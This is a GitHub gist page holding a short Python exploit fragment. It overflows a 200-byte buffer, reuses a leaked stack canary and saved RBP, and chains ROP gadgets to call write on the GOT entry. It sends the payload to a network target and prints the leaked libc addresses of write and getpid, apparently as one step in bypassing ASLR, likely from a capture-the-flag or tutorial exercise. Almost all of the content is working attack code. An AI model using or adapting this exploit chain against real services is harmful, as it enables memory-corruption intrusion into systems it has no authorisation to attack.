Skip to content

Instantly share code, notes, and snippets.

@ShivamShrirao
Last active June 5, 2020 22:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ShivamShrirao/300fbd2b56a0bb41556f9034115e335b to your computer and use it in GitHub Desktop.
Save ShivamShrirao/300fbd2b56a0bb41556f9034115e335b to your computer and use it in GitHub Desktop.
pop_rdi = BIN_BASE + 0x001643
pop_rsi_r15 = BIN_BASE + 0x001641
ret_gad = BIN_BASE + 0x1306
write_plt = BIN_BASE + 0x1060
write_got = BIN_BASE + 0x4030
buf = b'A'*200
buf+= p64(CANARY)
buf+= p64(RBP)
buf+= p64(pop_rsi_r15) # just load address of write_got into rsi, rdi and rdx are already filled
buf+= p64(write_got)*2 # 2 times for r15
buf+= p64(write_plt) # call write
buf+= p64(RET) # continue execution normally
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(TRGT)
s.recv(1024)
s.send(buf)
ret = s.recv(1024)
print(ret[:128])
libc_write = u64(ret[:8]) # first 8 bytes will be liibc address of write
libc_getpid = u64(ret[8:16])
print("[*] Leaked libc write:\t",hex(libc_write))
print("[*] Leaked libc getpid:\t",hex(libc_getpid))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment